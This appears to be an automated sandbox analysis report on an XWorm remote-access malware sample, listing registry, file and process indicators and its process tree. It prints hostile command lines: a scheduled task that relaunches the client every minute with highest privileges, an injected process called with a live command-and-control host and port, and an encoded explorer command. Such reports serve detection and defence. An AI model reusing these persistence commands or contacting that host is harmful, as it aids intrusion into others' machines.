xworm | 90d2777179534bb5746559397a767aeee141f30a57b53c5d9c2122278b4bc4b7

System Information Discovery

Processes:

XClient.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation	XClient.exe

Drops startup file 2 IoCs

Processes:

XClient.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk	XClient.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk	XClient.exe

Executes dropped EXE 9 IoCs

Processes:

XClient.exeXClient.exeXClient.exeXClient.exeXClient.exeXClient.exeXClient.exeXClient.exeXClient.exe

pid process

4760 XClient.exe
3240 XClient.exe
3252 XClient.exe
5124 XClient.exe
6388 XClient.exe
5228 XClient.exe
5216 XClient.exe
2276 XClient.exe
5904 XClient.exe

pid	process
4760	XClient.exe
3240	XClient.exe
3252	XClient.exe
5124	XClient.exe
6388	XClient.exe
5228	XClient.exe
5216	XClient.exe
2276	XClient.exe
5904	XClient.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

Processes:

XClient.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\XClient = "C:\\Users\\Admin\\AppData\\Roaming\\XClient.exe"	XClient.exe

Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

17 ip-api.com

flow	ioc
17	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

Processes:

XClient.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\XBackground.bmp"	XClient.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

XClient.exe

description pid process target process

PID 4440 set thread context of 4400 4440 XClient.exe cvtres.exe

description	pid	process	target process
PID 4440 set thread context of 4400	4440	XClient.exe	cvtres.exe

Drops file in Program Files directory 2 IoCs

Processes:

setup.exe

description	ioc	process
File created	C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\4907d257-45d8-4d2f-aba4-b240178804c1.tmp	setup.exe
File opened for modification	C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\20230323000251.pma	setup.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

taskmgr.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	taskmgr.exe

Checks processor information in registry 2 TTPs 8 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

EXCEL.EXEfirefox.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE

Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

4544 schtasks.exe

pid	process
4544	schtasks.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

System Information Discovery

Processes:

EXCEL.EXEmsedge.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies Internet Explorer settings 1 TTPs 4 IoCs

adware spyware

Modify Registry

Processes:

explorer.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\Locked = "1"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Software\Microsoft\Internet Explorer\Toolbar	explorer.exe

Modifies registry class 25 IoCs

Processes:

explorer.exemsedge.exeXClient.exe

description	ioc	process
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 00000000ffffffff	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\MRUListEx = ffffffff	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 = 14001f50e04fd020ea3a6910a2d808002b30309d0000	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{d3162b92-9365-467a-956b-92703aca08af}\Instance\	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\NodeSlot = "1"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\SniffedFolderType = "Documents"	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0 = 14002e80922b16d365937a46956b92703aca08af0000	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings	XClient.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	explorer.exe

Opens file in notepad (likely ransom note) 1 IoCs
ransomware

Processes:

NOTEPAD.EXE

pid process

2204 NOTEPAD.EXE
Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

explorer.exeEXCEL.EXE

pid process

948 explorer.exe
1736 EXCEL.EXE

pid	process
2204	NOTEPAD.EXE

pid	process
948	explorer.exe
1736	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

XClient.exetaskmgr.exe

pid	process
4440	XClient.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

Processes:

taskmgr.exeexplorer.exe

pid process

4932 taskmgr.exe
948 explorer.exe
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 8 IoCs

Processes:

msedge.exe

pid process

6480 msedge.exe
6480 msedge.exe
6480 msedge.exe
6480 msedge.exe
6480 msedge.exe
6480 msedge.exe
6480 msedge.exe
6480 msedge.exe

pid	process
6480	msedge.exe
6480	msedge.exe
6480	msedge.exe
6480	msedge.exe
6480	msedge.exe
6480	msedge.exe
6480	msedge.exe
6480	msedge.exe

Suspicious use of AdjustPrivilegeToken 16 IoCs

Processes:

XClient.exetaskmgr.exeXClient.exepowershell.exeXClient.exeXClient.exeXClient.exeXClient.exeXClient.exeXClient.exeXClient.exeXClient.exe

description	pid	process
Token: SeDebugPrivilege	4440	XClient.exe
Token: SeDebugPrivilege	4440	XClient.exe
Token: SeDebugPrivilege	4932	taskmgr.exe
Token: SeSystemProfilePrivilege	4932	taskmgr.exe
Token: SeCreateGlobalPrivilege	4932	taskmgr.exe
Token: SeDebugPrivilege	4760	XClient.exe
Token: SeDebugPrivilege	3960	powershell.exe
Token: SeDebugPrivilege	3240	XClient.exe
Token: SeDebugPrivilege	3252	XClient.exe
Token: SeDebugPrivilege	5124	XClient.exe
Token: SeDebugPrivilege	6388	XClient.exe
Token: SeDebugPrivilege	5228	XClient.exe
Token: SeDebugPrivilege	5216	XClient.exe
Token: SeDebugPrivilege	2276	XClient.exe
Token: SeShutdownPrivilege	4440	XClient.exe
Token: SeDebugPrivilege	5904	XClient.exe

Suspicious use of FindShellTrayWindow 64 IoCs

Processes:

taskmgr.exe

pid	process
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe

Suspicious use of SendNotifyMessage 64 IoCs

Processes:

taskmgr.exe

pid	process
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe
4932	taskmgr.exe

Suspicious use of SetWindowsHookEx 18 IoCs

Processes:

XClient.exeexplorer.exefirefox.exeEXCEL.EXE

pid	process
4440	XClient.exe
948	explorer.exe
948	explorer.exe
3844	firefox.exe
1736	EXCEL.EXE
1736	EXCEL.EXE
1736	EXCEL.EXE
1736	EXCEL.EXE
1736	EXCEL.EXE
1736	EXCEL.EXE
1736	EXCEL.EXE
1736	EXCEL.EXE
1736	EXCEL.EXE
1736	EXCEL.EXE
1736	EXCEL.EXE
1736	EXCEL.EXE
1736	EXCEL.EXE
1736	EXCEL.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

XClient.execvtres.exepowershell.exefirefox.exefirefox.exe

description	pid	process	target process
PID 4440 wrote to memory of 4544	4440	XClient.exe	schtasks.exe
PID 4440 wrote to memory of 4544	4440	XClient.exe	schtasks.exe
PID 4440 wrote to memory of 2204	4440	XClient.exe	NOTEPAD.EXE
PID 4440 wrote to memory of 2204	4440	XClient.exe	NOTEPAD.EXE
PID 4440 wrote to memory of 4400	4440	XClient.exe	cvtres.exe
PID 4440 wrote to memory of 4400	4440	XClient.exe	cvtres.exe
PID 4440 wrote to memory of 4400	4440	XClient.exe	cvtres.exe
PID 4440 wrote to memory of 4400	4440	XClient.exe	cvtres.exe
PID 4440 wrote to memory of 4400	4440	XClient.exe	cvtres.exe
PID 4440 wrote to memory of 4400	4440	XClient.exe	cvtres.exe
PID 4440 wrote to memory of 4400	4440	XClient.exe	cvtres.exe
PID 4440 wrote to memory of 4400	4440	XClient.exe	cvtres.exe
PID 4400 wrote to memory of 3960	4400	cvtres.exe	powershell.exe
PID 4400 wrote to memory of 3960	4400	cvtres.exe	powershell.exe
PID 4400 wrote to memory of 3960	4400	cvtres.exe	powershell.exe
PID 3960 wrote to memory of 3608	3960	powershell.exe	explorer.exe
PID 3960 wrote to memory of 3608	3960	powershell.exe	explorer.exe
PID 3960 wrote to memory of 3608	3960	powershell.exe	explorer.exe
PID 4400 wrote to memory of 2084	4400	cvtres.exe	firefox.exe
PID 4400 wrote to memory of 2084	4400	cvtres.exe	firefox.exe
PID 2084 wrote to memory of 3844	2084	firefox.exe	firefox.exe
PID 2084 wrote to memory of 3844	2084	firefox.exe	firefox.exe
PID 2084 wrote to memory of 3844	2084	firefox.exe	firefox.exe
PID 2084 wrote to memory of 3844	2084	firefox.exe	firefox.exe
PID 2084 wrote to memory of 3844	2084	firefox.exe	firefox.exe
PID 2084 wrote to memory of 3844	2084	firefox.exe	firefox.exe
PID 2084 wrote to memory of 3844	2084	firefox.exe	firefox.exe
PID 2084 wrote to memory of 3844	2084	firefox.exe	firefox.exe
PID 2084 wrote to memory of 3844	2084	firefox.exe	firefox.exe
PID 2084 wrote to memory of 3844	2084	firefox.exe	firefox.exe
PID 2084 wrote to memory of 3844	2084	firefox.exe	firefox.exe
PID 3844 wrote to memory of 2320	3844	firefox.exe	firefox.exe
PID 3844 wrote to memory of 2320	3844	firefox.exe	firefox.exe
PID 3844 wrote to memory of 2320	3844	firefox.exe	firefox.exe
PID 3844 wrote to memory of 2320	3844	firefox.exe	firefox.exe
PID 3844 wrote to memory of 2320	3844	firefox.exe	firefox.exe
PID 3844 wrote to memory of 2320	3844	firefox.exe	firefox.exe
PID 3844 wrote to memory of 2320	3844	firefox.exe	firefox.exe
PID 3844 wrote to memory of 2320	3844	firefox.exe	firefox.exe
PID 3844 wrote to memory of 2320	3844	firefox.exe	firefox.exe
PID 3844 wrote to memory of 2320	3844	firefox.exe	firefox.exe
PID 3844 wrote to memory of 2320	3844	firefox.exe	firefox.exe
PID 3844 wrote to memory of 2320	3844	firefox.exe	firefox.exe
PID 3844 wrote to memory of 2320	3844	firefox.exe	firefox.exe
PID 3844 wrote to memory of 2320	3844	firefox.exe	firefox.exe
PID 3844 wrote to memory of 2320	3844	firefox.exe	firefox.exe
PID 3844 wrote to memory of 2320	3844	firefox.exe	firefox.exe
PID 3844 wrote to memory of 2320	3844	firefox.exe	firefox.exe
PID 3844 wrote to memory of 2320	3844	firefox.exe	firefox.exe
PID 3844 wrote to memory of 2320	3844	firefox.exe	firefox.exe
PID 3844 wrote to memory of 2320	3844	firefox.exe	firefox.exe
PID 3844 wrote to memory of 2320	3844	firefox.exe	firefox.exe
PID 3844 wrote to memory of 2320	3844	firefox.exe	firefox.exe
PID 3844 wrote to memory of 2320	3844	firefox.exe	firefox.exe
PID 3844 wrote to memory of 2320	3844	firefox.exe	firefox.exe
PID 3844 wrote to memory of 2320	3844	firefox.exe	firefox.exe
PID 3844 wrote to memory of 2320	3844	firefox.exe	firefox.exe
PID 3844 wrote to memory of 2320	3844	firefox.exe	firefox.exe
PID 3844 wrote to memory of 2320	3844	firefox.exe	firefox.exe
PID 3844 wrote to memory of 2320	3844	firefox.exe	firefox.exe
PID 3844 wrote to memory of 2320	3844	firefox.exe	firefox.exe
PID 3844 wrote to memory of 2320	3844	firefox.exe	firefox.exe
PID 3844 wrote to memory of 2320	3844	firefox.exe	firefox.exe
PID 3844 wrote to memory of 2320	3844	firefox.exe	firefox.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\XClient.exe
"C:\Users\Admin\AppData\Local\Temp\XClient.exe"
1⤵
- Checks computer location settings
- Drops startup file
- Adds Run key to start application
- Sets desktop wallpaper using registry
- Suspicious use of SetThreadContext
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4440

C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "XClient" /tr "C:\Users\Admin\AppData\Roaming\XClient.exe"
2⤵
- Creates scheduled task(s)
PID:4544

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Public\Desktop\license.txt
2⤵
- Opens file in notepad (likely ransom note)
PID:2204

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" considered-arrest.at.ply.gg 19159 <123456789> 14593F6BC62B5753650B
2⤵
- Suspicious use of WriteProcessMemory
PID:4400

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -c explorer shell:::{3080F90E-D7AD-11D9-BD98-0000947B0257}
3⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3960

C:\Windows\SysWOW64\explorer.exe
"C:\Windows\system32\explorer.exe" shell::: -encodedCommand MwAwADgAMABGADkAMABFAC0ARAA3AEEARAAtADEAMQBEADkALQBCAEQAOQA4AC0AMAAwADAAMAA5ADQANwBCADAAMgA1ADcA -inputFormat xml -outputFormat text
4⤵
PID:3608

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -no-remote -profile "C:\Users\Admin\AppData\Local\Mozilla\Firefox\FireFox Data"
3⤵
- Suspicious use of WriteProcessMemory
PID:2084

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -no-remote -profile "C:\Users\Admin\AppData\Local\Mozilla\Firefox\FireFox Data"
4⤵
- Checks processor information in registry
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3844

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3844.0.1623349399\38416098" -parentBuildID 20221007134813 -prefsHandle 1832 -prefMapHandle 1844 -prefsLen 17985 -prefMapSize 230913 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {637e6528-c7c6-425c-a520-0004d4924c14} 3844 "\\.\pipe\gecko-crash-server-pipe.3844" 1800 1512a105258 socket
5⤵
PID:2320

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3844.1.130972433\1006132501" -parentBuildID 20221007134813 -prefsHandle 2284 -prefMapHandle 2280 -prefsLen 18575 -prefMapSize 230913 -appDir "C:\Program Files\Mozilla Firefox\browser" - {5ba09e46-1913-4c95-babb-3b0500979e78} 3844 "\\.\pipe\gecko-crash-server-pipe.3844" 2304 1512a106a58 gpu
5⤵
PID:4108

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3844.2.593025739\1588943721" -childID 1 -isForBrowser -prefsHandle 3316 -prefMapHandle 3312 -prefsLen 19419 -prefMapSize 230913 -jsInitHandle 1348 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e9df89dc-188a-49dd-bd1f-7ab26ba0fd36} 3844 "\\.\pipe\gecko-crash-server-pipe.3844" 3372 1512d217858 tab
5⤵
PID:2628

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3844.3.141795002\218276330" -childID 2 -isForBrowser -prefsHandle 4052 -prefMapHandle 4048 -prefsLen 19527 -prefMapSize 230913 -jsInitHandle 1348 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a2bb0b2f-eee4-4aa2-85d1-efe99e95848e} 3844 "\\.\pipe\gecko-crash-server-pipe.3844" 4060 1512d813558 tab
5⤵
PID:2072

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3844.4.147341061\873476646" -parentBuildID 20221007134813 -prefsHandle 3056 -prefMapHandle 3316 -prefsLen 21596 -prefMapSize 230913 -appDir "C:\Program Files\Mozilla Firefox\browser" - {9ce32e0a-e7d9-445f-a9e0-3f2ce66b1fb2} 3844 "\\.\pipe\gecko-crash-server-pipe.3844" 2732 1512e73d458 rdd
5⤵
PID:4360

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3844.5.1109982569\78315434" -childID 3 -isForBrowser -prefsHandle 4496 -prefMapHandle 5020 -prefsLen 27962 -prefMapSize 230913 -jsInitHandle 1348 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {84e6fa66-1cac-4021-846c-ce41567760a3} 3844 "\\.\pipe\gecko-crash-server-pipe.3844" 4480 1512fb56c58 tab
5⤵
PID:4964

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3844.6.644343843\748859219" -childID 4 -isForBrowser -prefsHandle 5204 -prefMapHandle 5072 -prefsLen 27962 -prefMapSize 230913 -jsInitHandle 1348 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {9e414c49-740f-4b13-8358-7111a6e9a904} 3844 "\\.\pipe\gecko-crash-server-pipe.3844" 4516 1512fb56058 tab
5⤵
PID:1360

C:\Program Files\Mozilla Firefox\firefox.exe
